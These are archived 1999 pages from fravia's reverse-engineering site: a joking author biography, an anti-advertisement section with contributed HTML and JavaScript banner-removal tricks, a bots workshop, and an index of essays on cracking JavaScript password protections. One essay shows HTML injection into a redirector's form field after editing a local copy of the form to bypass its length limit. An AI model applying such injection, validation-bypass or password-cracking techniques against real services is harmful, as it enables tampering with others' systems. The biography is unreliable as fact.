least noticed the potentially "subversive"
color of the reversed letters 'f'... and also the
light rays contrasting the dark night of
knowledge we're all at the moment
compelled to live in :-)

http://www.instinct.org/fravia/davinc1.htm [2/7/2001 3:02:01 PM]


fravia's real identity

his real identity


(Version 0699)

Fjalar Ravia
aka fravia+, aka msre, aka Spini, aka Red Avenger, aka Sustrugiel

Born on 30 August 1952 in Oulu, on the Botnian Gulf, (Suomi-Finnland), first of


two children: his younger sister Silja was to become one of the most
distinguished painters of the Tampere lagoons.
His father Gunnar, a famous Finnish poet, published the well known collections
"Sekasointuja" and "Uusia Skenij" and fought with the reds as "Sissiluutnantti
Ravia" (partisan lieutenant Ravia) against the nazi of Von Falkenhorst. Fjalar's
mother Anu, a very capable teacher, was one of the first Scandinavian women
having crossed the Atlantic on a hydroplane in the forties.

http://www.instinct.org/fravia/io13.htm (1 of 3) [2/7/2001 3:02:11 PM]


fravia's real identity

He studied applied software entomology at the Savonlinna University and


graduated with the paper "How to reverse engineer, and eventually smash,
software bugs", published in the prestigious "students' essays" of the University
of Helsinki. He later studied history of the early middle ages and rhetoric, in
Berlin, under the teachings of one of the greatest university mentors Europe has
had in this (now closing) century: Dr Frithjof Sielaff.

His hobbies and extra-professional activities vary: web-publishing (on


http://fravia.org); software reverse engineering and protections matters;
anti-advertisement activities; reality cracking and finally beer-tasting (Belgian
beers of course); he enjoys games with strategical content (chess, of course, but
also the unforgettable Steel panther series), and usually hears classical music
(Monteverdi, Vivaldi, Mahler and Katschaturian); yet his favorite activities are by
far "semantical reversing" and "practical rhetoric". He spends part of his holidays
-almost every year- in Venice (Italy), a city that he loves (there are no cars) and
hates (there are too many Italians with a GSM screwed to their heads and much
too many tourists).

One of his most peculiar endowments is the capacity of NON watching for
months any TV at all.

He works and lives in the European Union with his beloved wife Annele, his
daughter Franziska, the twins Alvi and Sirkka, his books, his wines and a lot of
bikes.

"For the older crackers are less interested in themselves than the younger ones, and better at getting
inside other things. They are steadier, and keep their minds on things longer"
+Alistair

Back to the awards page

homepage links anonymity +ORC tools counter measures


Javascript stalking students' essays cocktails search_forms antismut mail_fravia
Is reverse engineering legal?

(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reversed & reserved

http://www.instinct.org/fravia/io13.htm (2 of 3) [2/7/2001 3:02:11 PM]


fravia's real identity

) Especially "Ename triple"

) You'll be able to find an incredible quantity of very good games, of course for free, if you follow the
paths of the "Abandonedwares". For instance here, where you will also be able to find the complete Steel
Panthers 2 version.

http://www.instinct.org/fravia/io13.htm (3 of 3) [2/7/2001 3:02:11 PM]


antiadve.htm: Fravia's pages of reverse engineering, anti-advertisement

Advertisement is
slowly pervading
every aspect of
our lives. We live
bombarded with
images and
sounds whose
only purpose is
to make us react,
like Pavlov dogs
or zombies, in
order to
consume. We
HAVE TO buy
totally useless
products and
have been
transformed in
products
ourselves.
Our enemies are
going to install
ads in the
railway tunnels...
you will have a
stroboscopic
effect while
passing by. They
are going to
project ads on
clouds and onto
the evening sky.
They have
A already
transformed our

N fravia's whole life, for


profit, in an
inferno of
unsolecited

T anti continuous
consumistic
pushes. Already

I advertisement
now you cannot
Updated (and definitely in
June
1999 the future you

http://www.instinct.org/fravia/antiadve.htm (1 of 3) [2/7/2001 3:02:20 PM]


antiadve.htm: Fravia's pages of reverse engineering, anti-advertisement

lab
will not) read,
- sleep, love, think
or move around
without being

A bombarded by
ads, all intended
to deceive you in

D Fravia's Nofrill
order to push
you to consume
something, to
Web design
buy something,
('98 ~ '99) to waste your life
for "their"
profit.
I don't like this,
of course, and
therefore I'm
going to do what
I can to change
this situation and
to retaliate. I'm
not without
weapons against
this zillion of
money worth
really huge
industry, as you
will see :-)
This section of
my site is
dedicated to the
methods that we
can use to get rid
of those useless
ads. As you'll see
there are many
possible options,
and some of
them -incredible
but true- do
actually seem to
work.

http://www.instinct.org/fravia/antiadve.htm (2 of 3) [2/7/2001 3:02:20 PM]


antiadve.htm: Fravia's pages of reverse engineering, anti-advertisement

Please bear with me this first attempt. Many good essays in the reality cracking lab have QUITE A LOT
of interesting anti-advertisement techniques and info inside. Read them, starting from +ORC's
world-famous Supermarket enslaving tricks, and have a look at some interesting anti-advertisement tools
in Adding the Blemish of Truth : How to Alter a Billboard
On this specific lab we will begin with some WORKING methods to "cure" the bannerclicking inferno
the bastards advertisers have prepared for us on the Internet. I'm glad to present here the following
essays:

How to remove advertisement banners from freepages


by various Authors
May 1999
How to find and eliminate our communication with the machines that are targeting us with ads
by Kept_Anonymous
June 1999
Cracking binary boy an Ad display free program
by +Tsehp
September 1999

Choose another page!

homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?

(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/antiadve.htm (3 of 3) [2/7/2001 3:02:20 PM]


remobann.htm: Fravia's pages of reverse engineering, remobann.htm

How to remove ugly


advertisement
R fravia's banners

E anti
There are 600 million sites out
there, doubling every four months...
and many of them carry absolutely
useless banners and ads. Of course
M advertisement Updated
you are using a good browser, like
Opera, that allows you to shut off all
images whenever you want, in order

O lab
July 1999
to access quickly the contents you
are searching. But at times you are
yourself forced to use a "free" space

V provider, that will impose on your


pages its ugly banners. This section
of my site is dedicated to the
methods that we can use to get rid of
E them. As you'll see there are many
possible options, and almost all of
them involve some html or
Fravia's Nofrill javascript tricks.
Web design
('98 ~ '99)

In this section you'll find contributions and essays by the following


reversers:
[+Greythorne] ~ [rocksteady] ~ [Fluril] ~ [Eternal Bliss] ~ [Gordon]
[Jeff's special "removing banners" page] (an ongoing project)
[TeRR0RNauT's more banner removing]
[Gordon's mighty HOSTS trick and file]
[ +tsehp's Tool for removing banners and pop ups]
[ [blue]'s Perl@usa.net ~ How to reverse a "free" service]
The bastard advertisers argue that Netizens enter into an implicit agreement with Web companies to accept their ads in
exchange for free information, similar to television viewers forced to slurp commercials in exchange for free programming.

http://www.instinct.org/fravia/remobann.htm (1 of 5) [2/7/2001 3:02:23 PM]


remobann.htm: Fravia's pages of reverse engineering, remobann.htm

But there are no explicit agreements, and many users want to rid their surfing experiences of large banner ads that can take
minutes to load, so, let's proceed...

First of all IMO may have to find the EARLY copies of some interesting software solutions, as you'll see below, most of them
have been subsequently censured or volontarly crippled :-(
James Howard, created Internet Fast Forward, one of the first programs designed to filter out banner ads.

The software he produced was discontinued due to liability problems after he sold his company, PrivNet, to Pretty Good
Privacy in November 1996. Howard said Internet companies had threatened to sue, accusing his company of violating their
copyrights and modifying their pages. Howard had countered that users were the ones who controlled the content, not the
software producers.

PGP decided the risk of lawsuits was too great and stopped production of the ad filtering program.

Solid Oak, the Internet filtering company that produces the Web filtering software Cybersitter, introduced tools to screen out
banner ads.

Brian Milburn, president of Solid Oak, said he introduced the filtering technology in response to requests from some of
Cybersitter's 1.2 million customers, many of whom use older computers with slow Internet connections that make viewing
banner ads a time-intensive task.

One day later the company rescinded the tool that screens out ads in free email services, because users sign contracts saying
they will accept ads in exchange for free email, Milburn said.

And now let's begin with some interesting approaches... :-)


+Greythorne wrote (long ago) a bautiful javascript banner killer, that you'll find here. Here is what Wizard +Greythorne writes
about it: "Note: this proggy uses popup windows to capture popup windows (kind of like fighting fire with fire) if your
browser doesnt display popup windows, then why are you trying to run this? you are ALREADY immune to the silly banner
popups!

This one is pre-programmed to kill the prohosting.com banners, the tripod.com banners, and the geocities.com banners."

you sure know about the listen.to; come.to; fly.to; etc. redirection service.

if you'd like to use it, you have to include a little javascript-code on your page. 'they' say a bot will have a look on your page
every 2 weeks to check if the script is installed. if not the redirector stops.

workaround::

this script is between two html-comment tags like the following:


<!-- V3 Redirect Services Banner start -->
code...
<!-- V3 Redirect Services Banner end -->

on this way the banner can be seen and the bot is satisfied cause the code is there.

but

if you change only one little thing, if you let the first comment open:
<!-- V3 Redirect Services Banner start --

http://www.instinct.org/fravia/remobann.htm (2 of 5) [2/7/2001 3:02:23 PM]


remobann.htm: Fravia's pages of reverse engineering, remobann.htm

code.. ^^^
<!-- V3 Redirect Services Banner end -->

the code is cloaked, can't be seen, and the bot's satisfied.


(worked for some months till today)

happy days

rocksteady

On many free host, you have a banner added automaticaly on index.html.


If your user has JavaScript enabled, here his a trick, insert

<script language="Javascript">

<!--

location.href="main.html"

//-->

</script>

between header and body.


It will be read before everything and the user even doesn't see (s)he has changed of
page.

Fluril

Hi, I somehow managed to remove the popups for virtual avenue by adding this codes
before the
<html> of every page.

//to avoid Javascript error notice


<script>
function NoError() {
return(true);
}
onerror=NoError;
</script>

//to prevent the pop-up


<script>
va_rvjr137y=window.open;
function OpenNullWin() {
this.window;
}
function FakeOpen(url,nam,atr) {
return(new OpenNullWin());

http://www.instinct.org/fravia/remobann.htm (3 of 5) [2/7/2001 3:02:23 PM]


remobann.htm: Fravia's pages of reverse engineering, remobann.htm

}
window.open=FakeOpen;
</script>

Looking at the codes added by the server, va_rvjr137y seems to be the "window
handle". By modifying the codes produced by Proxomitron, I was able to add this codes
in to counter the popups. Just tested without the codes, the popup is seen. When I
add in the codes, the pop-up disappeared.

For Xoom website, they will automatically add in an extra frame. To counter that, add
in _XOOM into your links eg
http://members.xoom.com/Ryanosis/files.html
into
http://members.xoom.com/_XOOM/Ryanosis/files.html

But in this case, you will need a website director.

Another way is to add the codes


<script language="JavaScript">

<!--
if (top.location.href != location.href)
top.location.href = location.href;
// -->

</script>

Regards

Eternal Bliss

On services that stick their banner code at the very end of your page, the simplest way to eliminate the popups is to stick a
"NOEMBED" tag after your closing "/HTML". This works fine for me in Opera 3.60 and all versions of Netscape and MSIE
tested. I figure why use javascript against itself when you can use html against javascript and be more compatible (or is it
incompatible?) with more banners.

Gordon

Jeff's special page for removing banners


June 1999
It's an 'ongoing' project that you will find on this special page

Choose another page!

homepage links anonymity +ORC students' essays academy database bots wars

http://www.instinct.org/fravia/remobann.htm (4 of 5) [2/7/2001 3:02:23 PM]


remobann.htm: Fravia's pages of reverse engineering, remobann.htm

antismut tools cocktails javascript wars search_forms mail_fravia


Is reverse engineering illegal?

(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/remobann.htm (5 of 5) [2/7/2001 3:02:23 PM]


About Banners : By TeRR0RNauT

Courtesy of fravia's pages of reverse engineering

June 1999, part of the remove banners section of the anti-advertisement lab.

About Banners
By TeRR0RNauT

Most banners are quite basic in design. The usual method is to either
require a user to have some java-script in his/her page or automatically
add it when index.html is downloaded.

I'll start this essay with a standard banner example, Xoom.


Xoom has an irritating Banner bar which is automatically added
to each page. To counter this banner it is important to understand
how it works. What xoom does is add a frame ontop of your own page.
This can be fixed in a quite easy way with a little java-script.

<script language="java-script">

if (top != self )
{
top.location.href = "http://..."
}

</script>

This script first checks if it's loaded as the topmost document.


which it isn't because of the xoom banner. Then it puts another
page in the top frame. My first thought was to just reload the
index.html, but that won't work because xoom will just put
another banner ontop of that which will cause an infinite loop.
So the best solution is to put this code in your index.html

<script language="java-script">

top.location.href = "http://..."

</script>

There is no top check because we already know that we aren't on top.


The only thing that needs to be done is put another page ( not index.html )
on top.

I know that this first part is quite easy and has been done a

http://www.instinct.org/fravia/terr22.htm (1 of 5) [2/7/2001 3:02:26 PM]


About Banners : By TeRR0RNauT

million times before that's why I'll continue with a far more
interesting target & solution.

Redirectors are quite handy, because they hide your true url and
because they allow you to move your page around without the visitors
ever noticing. I first had a redirector at txe.org but they have been down
for ages now so I started looking for another one. Which I found
at tsx.org. They provide a free service. But if you want them to
hide your url ,( i.e. put a frame with "blabla.tsx.org" as location
ontop of your page ), they'll show a popup-banner.

I started by looking at the java-script code for the banner.

<script language="java-script">
<!--

var useHeight = 105;


if (document.screen) { useHeight = screen.availHeight }
var bannerX = 5; var bannerY = useHeight - 100;
window.open('/frame/index.cfm','tsxwindowXXX', <------- 999 posibilities

'resizeable=no,scrollbars=no,width=600,height=47,innerWidth=600,innerHeight=47,

titlebar=no,screenX='+bannerX+',screenY='+bannerY+',left='+bannerX+',top='+bannerY);

function stopError() { return true; }


window.onfiltered= stopError;

//-->
</script>

With java-script it's possible to close popup-banners but there's a catch.


To close a window you'll first have to define/open it with it's name as a reference.
This is no problem if the window allready exists but if it doesn't then a new window
will be openend.

<script language="java-script">
<!--

popup = window.open(popupURL,popupname);
popup.close()

//-->
</script>

So if the window name is randomized then you'll have to open a


lot of windows, which makes this method quite unfeasable.

Then I had a thought and looked at their update page.


At this update page you can configure various settings of the
redirector. Two settings are interesting, the keywords and Description tags.
Which translate into the following in the final redirect frame.

http://www.instinct.org/fravia/terr22.htm (2 of 5) [2/7/2001 3:02:26 PM]


About Banners : By TeRR0RNauT

<META NAME="Keywords" Confiltered="">


<META NAME="Description" Confiltered="">

The idea is to put html-code into these fields which will


disable the banner. But if you disable the code after these
tags then you'll have no frames as well so you'll have to put your
frames code into this tag. The result should look somewhat like this :

<META NAME="Description" Confiltered=""></head><frameset rows="100%,*" border="0"


frameborder="0" framespacing="0" framecolor="#000000"><frame
src=""></frameset><body></body></html><"> <--- End of Content Tag
The content tag ^^ ^^ ^^
^^ ^^ ^
||Close head Start Frames
End Frames || End with open bracket
||
End HTML
||
Close content tag

The two most important things are the close content trick and
the final open bracket. Because the final open bracket the rest of
the page will be seen as between brackets, and therefore will not be
displayed or executed.

When you try to set the content tags to this string you'll notice
a problem. You can only enter 30 chars. Which is too little for a nice frameset.
But I noticed that this 30 char max was defined in the html form.
Forms are a way of entring information into a html page which can then
be sent to some cgi on a server. Because the max was defined in the form
it should be changeable. So I made a local copy and set the max to 255.
The only problem with a local copy is that the result will be sent to yourseld
so you'll have to edit the <base> tag , and maybe change a few relative
URL's.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">


<HTML>
<HEAD>
<TITLE>TSX: Host Update</TITLE>

<--- insert this here

<BASE href="http://www.tsx.org">

</HEAD>
<BODY BGCOLOR="#333333" TEXT="#FFFFFF" LINK="#3399FF" VLINK="#3366FF">

<P ALIGN="CENTER"><CENTER>
<TABLE CELLPADDING=8 CELLSPACING=8 BORDER=0>

http://www.instinct.org/fravia/terr22.htm (3 of 5) [2/7/2001 3:02:26 PM]


About Banners : By TeRR0RNauT

<TR><TD WIDTH=164 ALIGN="CENTER" VALIGN="TOP">

<A HREF="/home.html">
<IMG SRC="logo.gif" WIDTH=164 HEIGHT=198 BORDER=0 ALT="TSX The Technosite
Exchange"></A>
</TD><TD ALIGN="LEFT" VALIGN="TOP">

<FORM METHOD="POST" ACTION="update.cfm?Code=Process">

<--- change to

<FORM METHOD="POST" ACTION="http://www.tsx.org/update.cfm?Code=Process">

<INPUT TYPE="hidden" NAME="HostName" VALUE="terr0rnaut">


<INPUT TYPE="hidden" NAME="URL_required" VALUE="Please enter the URL">
<INPUT TYPE="hidden" NAME="Password_required" VALUE="Please enter your Password">
<INPUT TYPE="hidden" NAME="Owner_required" VALUE="Please enter the Owner's Name">
<INPUT TYPE="hidden" NAME="Email_required" VALUE="Please enter email address">

<H1>Host Update </H1>

<TABLE>
<TR><TD BGCOLOR="#666666"><B>HostName</B></TD>
<TD></TD></TR>
<TR><TD BGCOLOR="#666666"><B>URL</B></TD>
<TD><INPUT TYPE="text" NAME="URL" VALUE="" SIZE=30 MAXLENGTH=150></TD></TR>
<TR><TD BGCOLOR="#666666"><B>Owner</B></TD>
<TD><INPUT TYPE="text" NAME="Owner" VALUE="" SIZE=30 MAXLENGTH=50></TD></TR>
<TR><TD BGCOLOR="#666666"><B>Email</B></TD>
<TD><INPUT TYPE="text" NAME="Email" VALUE="" SIZE=30 MAXLENGTH=50></TD></TR>
<TR><TD BGCOLOR="#666666"><B>Password</B></TD>
<TD><INPUT TYPE="text" NAME="Password" SIZE=20 VALUE="" MAXLENGTH=50></TD></TR>
<TR><TD COLSPAN=2> </TD></TR>

<TR><TD BGCOLOR="#669966" VALIGN="TOP"><B>SiteHide</B></TD>


<TD><INPUT TYPE="radio" NAME="Popup" VALUE="1" Checked > On<BR>
<INPUT TYPE="radio" NAME="Popup" VALUE="0" > Off</TD></TR>
<TR><TD BGCOLOR="#666666" VALIGN="TOP"><B>Adult</B></TD>
<TD><INPUT TYPE="radio" NAME="Adult" VALUE="1" > Yes<BR>
<INPUT TYPE="radio" NAME="Adult" VALUE="0" Checked > No</TD></TR>
<TR><TD COLSPAN=2> </TD></TR>
<TR><TD BGCOLOR="#669966" VALIGN="TOP"><B>Title</B></TD>
<TD><INPUT TYPE="text" NAME="Title" MAXLENGTH=50 SIZE=30 VALUE=""></TD></TR>
<TR><TD BGCOLOR="#669966" VALIGN="TOP"><B>Keywords</B></TD>
<TD><INPUT TYPE="text" NAME="Keywords" MAXLENGTH=50 SIZE=30 VALUE=""></TD></TR>
<TR><TD BGCOLOR="#669966" VALIGN="TOP"><B>Description</B></TD>

<TD><INPUT TYPE="text" NAME="Description" MAXLENGTH=255 SIZE=30 VALUE=""></TD></TR>

<--- change to

http://www.instinct.org/fravia/terr22.htm (4 of 5) [2/7/2001 3:02:26 PM]


About Banners : By TeRR0RNauT

<TD><INPUT TYPE="text" NAME="Description" MAXLENGTH=255 SIZE=255 VALUE=""></TD></TR>

<TR><TD COLSPAN=2> </TD></TR>


<TR><TD BGCOLOR="#666699"><B>StartPage</B></TD>
<TD>
<INPUT TYPE="text" NAME="HomePage" VALUE="" SIZE=30 MAXLENGTH=150>
</TD></TR>
<TR><TD COLSPAN=2> </TD></TR>
<TR><TD BGCOLOR="#666666"> </TD>
<TD><INPUT TYPE="submit" VALUE="Update"></TD></TR>
</TABLE>

</FORM>

</TD></TR>

</TABLE>
</CENTER></P>

</BODY>
</HTML>

I loaded this page into my browser, changed the Description field


and pressed the update button ..It worked .

This is possible because TSX doesn't filter html chars from the content fields
and because they don't validate the length of the content fields.

I hope you have learned something, I certainly had a lot of


fun reversing TSX's banner code. And remember that this is not illegal.
I merely prefer rather wierd content fields, and their banner code isn't removed.
The browser just doesn't execute it anymore.

GreetZ TeRR0RNauT.

Choose another page!

homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/terr22.htm (5 of 5) [2/7/2001 3:02:26 PM]


botstart.htm Fravia explaining easy bots'reversing and trapping techniques

This is a 'living'
workshop on bots
trapping and
reversing, see my
javascript page for
"broad" site
protection

B techniques.
As deep wrote in his
bot-essay: "There

O are many Perl bots


available on the net,
but I'm fairly

T fravia's certain that you will


not find one that
does exactly what

S "BOTS" you want. There's


also a convention
amoung bot writers

section Updated
September 1999
not to give bots to
people who do not
understand them -
~ it's considered
irresponsible. Of
W The bots essays are here!
(see below)
course, once you've
learned how to
build bots, you can

A be as irresponsible
as you like".
Exactly, and that is

R Fravia's Nofrill
Web design
the reason you will
find more
knowledge only if
you will contribute
S (1998)
and work on your
own.
Study (on your own
if possible) and then
send contributions
(like the very
important essays
below)

http://www.instinct.org/fravia/botstart.htm (1 of 5) [2/7/2001 3:02:30 PM]


botstart.htm Fravia explaining easy bots'reversing and trapping techniques

[Go to the introduction] ~ [Go to the essays!]

BOT TRAPPING AND BOT


WARS
An introduction, an explanation, a "teaser" for those that did not know...

~
The term "bot" is, according to DeadelviS, a short for "robot", which sounds much cooler than "program"
As Andrew Leonard explains, like mechanical robots, bots are guided by algorithmic rules of behavior -
if this happens, do that; if that happens, do this. But instead of clanking around a laboratory bumping into
walls, software robots are executable programs that maneuver through cyberspace bouncing off
communications protocols. Strings of code written by everyone from teenage chat-room lurkers to
top-flight computer scientists, bots are variously designed to carry on conversations, act as human
surrogates, or achieve specific tasks - such as seeking out and retrieving information. And... bots can also
be used as weapons.

(This section of mine regards web robots - spiders, wanderers, and worms. Cancelbots, Lazarus,
Automoose. Chatterbots, softbots, userbots, taskbots, knowbots, mailbots. MrBot and MrsBot. Warbots,
clonebots, floodbots, annoybots, hackbots, and Vladbots. Gaybots, gossipbots, gamebots. Skeleton bots,
spybots, and sloth bots. Xbots, meta-bots. Eggdrop bots)

This Bot trapping (bot wars) section was started in May 1998
It's up to you to help us with your own work or not: it is my intention to offer you enough material on
this page to allow you to start.
See: I'll NEVER charge money for accessing my site: I charge the only "money" that's worth something
on this web of ours: knowledge!
I want you to contribute with YOUR knowledge!
Remember, if you build on other people's shoulders, you must offer your own shoulders for others to
build upon!

Hey! How d'I get in?


You'll have to devise your own bot (and it better behave well, or else!)... try to dig it, please, because
some of the first answers I'm getting from this section are disheartening! You should not just COPY an
existing dull and simple bot, you should produce a good bot and send it to my main site (please tell me

http://www.instinct.org/fravia/botstart.htm (2 of 5) [2/7/2001 3:02:30 PM]


botstart.htm Fravia explaining easy bots'reversing and trapping techniques

when, because I haven't got the time to check all the tracks :-) I'll (try to) trap it, have a look and, if it
proves to be a good work, I'll publish your source code if you want me to... alternatively, if you prefer,
you send me a good essay on "bot's wars" or "bot's design", or "bot's trapping", and I'll gladly publish it.
But it better be good and YOUR OWN WORK (you'll have all the credit, as usual), should I find out that
you copied stuff from somewhere without telling, I'll slowbomb you for quite a while... :-)

Hey! I wanna see a real bot in action before joining!


Yessir! And if you knew nothing of this stuff you'll be fascinated (and even if you already knew... :-)
Besides, this will show you ALSO a very important searching trick... see, old good fravia+ already
teaches you quite a lot even WITHOUT you getting into the "real" stuff... :-)
You'll now (at once if I were you) approach the "iliad" Searchbot (a very useful one, btw):

Send an email to:


iliad@algol.jsc.nasa.gov
write into the SUBJECT part of your email (into the subject field, duh!):
iliad query
write into the TEXT part of your email (that's your letter, duh!):
?Q: internet bots automated retrieval
(for instance... and you'll -most probably- get quite a lot of interesting material about bots from this
mighty useful Searchbot... whatt'd'ya say?
If you're stuck email the same address with the word help both in Subject and in text (a pretty poor hlp
will you get btw :-)

Hey, this is great! I wanna taste another email-bot, just for


fun!
Yessir! Please go ahead: have a look at friend autobot:

Send an email to:


autobot@junoaccmail.org
write into the SUBJECT part of your email (into the subject field, duh!):
send index
or if you want to have a laugh at some 'scarecrow' copyright propaganda, always in the SUBJECT field:
send Copyrights

Hey, this is gorgeous! Now, before I start working on my


http://www.instinct.org/fravia/botstart.htm (3 of 5) [2/7/2001 3:02:30 PM]
botstart.htm Fravia explaining easy bots'reversing and trapping techniques

own, let me please see and touch the code of a "real" bot!
Yessir! Please go ahead: have a look at our essays!

Essays: how to build your own bots

PHASE ONE (16 July 1999)

this essay (perl_es1.htm): Perl@usa.net ~ How to reverse a "free" service has been written by [blue] in
July 1999 for the removing banners section, read and enjoy, let's hope you'll write afterwards your own
perl-bots and send them here so that others can ameliorate and give feedback...
PHASE TWO (22 July 1999)

this essay (rt_bot1.htm):The HCUbot: a simple Web Retrieval Bot in Perl has been written by deep in
July 1999, read and enjoy! Let's hope you'll write afterwards your own perl-bots and send them here so
that others can ameliorate and give feedback...
PHASE THREE (14 September 1999)

this essay (botcgi.htm):Mirbot 1.0: a very special kind of a Robot has been written by The Mystical
Friend in September 1999, read and enjoy! Let's hope you'll write afterwards your own perl-bots and
send them here so that others can ameliorate and give feedback...
PHASE FOUR (14 September 1999)

this essay (rt_bot2.htm):The HCUbot (Version 2.0): a simple Web Retrieval Bot in Perl has been written
by deep in July 1999 and updated and ameliorated in September 1999, read and enjoy! Let's hope you'll
write afterwards your own perl-bots and send them here so that others can ameliorate and give
feedback...
PHASE FIVE (21 September 1999)

this essay (sono_bot.htm):spider.r: a handy search tool and intro to REBOL has been written by
sonofsamiam in September 1999, read and enjoy! Let's hope you'll write afterwards your own rebol-bots
and send them over here so that others can ameliorate and give feedback...
That's all for now, Enjoy!

A helping hand!
OK, if you'really wanna learn "agent reversing techniques" and yet somehow don't get the next step... just
take your time, there is no hurry, reverse the script you have already got (like those in the essays above),
try some different models... and finally write a (good) essay on this stuff yourself. Lusers and leechers,
just forget this stuff, please, there are many other things on the web...

http://www.instinct.org/fravia/botstart.htm (4 of 5) [2/7/2001 3:02:30 PM]


botstart.htm Fravia explaining easy bots'reversing and trapping techniques

homepage links anonymity +ORC students' essays academy database


antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?

(c) Fravia (mbre) 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/botstart.htm (5 of 5) [2/7/2001 3:02:30 PM]


javascri.htm Fravia explaining easy Javascript password systems

Most javascript pages ARE


ELSEWHERE!

J This is a 'living' workshop on


Javascript site protection.
You'll find the real javascript

A section of my site on the "other


side" of these entrances... lamers
should not and will not

V fravia's
understand what's going on, yet
the ones capable to study and to
experiment a little, will not only

A Javascript
go further, but will also be able
to use this same kind of tricks
(implementing and ameliorating
them of course) in order to

S section ~
Updated
protect some 'delicate' parts of
their sites... or to deprotect some
other sites :-)
June

C Entrances to the
'advanced' page
1999
Entrances to the advanced page
easy impossible
and to the
R 'devious' page
javpassp.htm javpass1.htm
Some help for the easy entrance

I javhelp1.htm
Entrances to the 'devious' page
easy hard

P Fravia's Nofrill
Web design
myown511.htm javdevio.htm
Entrance to the
('98 ~ '99)

T "hyperprotections"
vao_hype.htm

See you there!

Javascript protection reversing


Fravia's living workshop on Javascript site protection
An incredible interesting matter. I have prepared these pages as a 'strainer' in order to keep lamers out,

http://www.instinct.org/fravia/javascri.htm (1 of 5) [2/7/2001 3:02:34 PM]


javascri.htm Fravia explaining easy Javascript password systems

and to 'seed' a little the guys that will be able to work on more advanced matters. There are now THREE
advanced javascript pages, completely indipendent, since the methods to reverse their respective
entrances are quite different.

1) THE ADVANCED JAVASCRIPT PAGE (ADVANCED), which has at the moment two entrances,
an 'easy' one (which is not so terribly easy after all, but which you'll be able to reverse/brute-force if you
work a little) and an 'impossible' entrance (which is not so terribly impossible after all if you know your
stalking/searching/ combing abc)
On this advanced page you'll find many interesting 'advanced' essays. From this advanced page you'll be
able to access (this sommer) the 'wizard' stalking javascript page.

2) THE TARGETED JAVASCRIPT PAGE (DEVIOUS), or 'devious' page. So called because it uses
a 'targeted' URL access system. At the moment has an easy, and an 'hard' entrance. I'll give help in a later
moment if needs be... I hope not...
On this page you won't find much at the moment (because I'm setting it up right now), but, similarly to
the 'advanced' one, you'll get (at least) the essays of all people that have reached it as soon as they start
coming. Anyway from this targeted page you'll be able to access (this sommer) the 'wizard' stalking
javascript page as well.

3) THE 'HYPERPROTECTIONS' JAVASCRIPT PAGE (HYPER), where you will be able to


develop, with me and many others, a serie of simple, yet effective encrypted javascript protections for
sites that do not want to (or cannot :-) use CGI server-side scripts. The hyper page has at the moment
only one entrance.

4) IS THERE ANYTHING ELSE?


Well, yes: I have also prepared a small easy javascript tricks page to give you something to enjoy...

Man, I can't get not even through the easy advanced


entrance... whatd'I do?
Read the help page. If after having read all that help you still cannot access the 'easy' entrance, leave this
stuff, go reverse something else and come back when you have gathered a little more reversing stamina.
Just to give you a (very pale and feeble) feeling of what you'll get on this path, here is some stuff to feed
you happy until you discover how to access the above entrances to my advanced Javascript pages:
A ridicolous cookie-related javascript protection
(for newbyes at Javascript protection reversing)
dark1.htm
(Guard Duty, Version 3 ~ Lancelot Security edition)
26 January 1998 by fravia+
Quite easy

A most ridicolous yet still very common javascript protection

http://www.instinct.org/fravia/javascri.htm (2 of 5) [2/7/2001 3:02:34 PM]


javascri.htm Fravia explaining easy Javascript password systems

(for newbyes at Javascript protection reversing)


j_ridcul.htm
(Useless yet widespread "anti-lamers" password protection)
19 February 1998 by fravia+
Dead easy

The essays
(that you'll find only on the 'advanced' pages)

As introduction and "starter": PHASE 1, by fravia+, 07 December 1997


SURPRISES INSIDE SURPRISES
(You probably did not know that you had these functions inside your browser)
As first possible little essay: PHASE 2, by fravia+, 08 December 1997
Elementary tricks 1.1
(Popup pages galore and some stalking elements)
As 'quicky' small reward for having reached this page: PHASE 3, by fravia+, 18 January 1998
Nasty antiMSIE tricks
(and some stalking elements)
From the "how people have reached this page" series: PHASE 4, by Syko, 01 February 1998
Password finder for Fravia's excellent JavaScript Protection
(applying english rules to a password cracker)
From the "how people have reached this page" series: PHASE 4bis, by Epic Lord+, 01 February 1998
How to use aids from your target :=)
(seems so easy now yet it was not so easy after all)
From the "how people have reached this page" series: PHASE 5, by Tomba, 10 February 1998
A deductive & recursive way into Fravia's java-pages
(importance of deduction in all reversing matters)
From the "how people have reached this page" series: PHASE 6, by Chris, 11 February 1998
Getting into fravia's Javascript page
(a short java program: class CrackPass2)
From the "how people have reached this page" series: PHASE 7, by WeLuv, 18 February 1998
Thru the Java Door
(Shut the computer off and THINK through the problem)
From the "how people have reached this page" series: PHASE 7, by SPLiCE, 19 February 1998

http://www.instinct.org/fravia/javascri.htm (3 of 5) [2/7/2001 3:02:34 PM]


javascri.htm Fravia explaining easy Javascript password systems

The 'easy' javascript entrance: A recursive approach


(Using recursivity and deduction to overcome 'simple' protections)
From the "how people have reached this page" series: PHASE 8, by Jack of shadows, 24 February 1998
Know Thy Language!
The importance of knowing (your enemy's) language
From the "tools that people have written in order to reach this page" series: PHASE 9, by Ken
(KenZone), 01 March 1998
How to check passwords!
A 'graphical' approach
From the "how people have reached this page" series: PHASE A, by Roady, 05 March 1998
javascript password brutecracker
Just needed a bit of luck
From the "how people have reached this page" series: PHASE B, by Tom, 26 March 1998
A "ponderated" vocabulary approach to advanced javascript
Each good triplet found increases the current score by one
Fravia's "sticky page" trick
by fravia+, 18 May 1998
A "sticky" never ending page
This can be seriously annoying, btw...
+mISu's C++ program
by +mISu, 23 September 1998
a real solution using backtracking
Gattman's Java approach
by Gattman, 02 December 1998
A little java for you, ssir!

Gattman's FREE FOR ALL javascript can be accessed from here.


The 'dedicated' javascript for my advanced page is on the 'other side'.
The 'WHEEL OF FORTUNE' solution
by Pr!Me5, 20 January 1999
A little java for you, ssir!

A recursive procedure to generate the possibilities


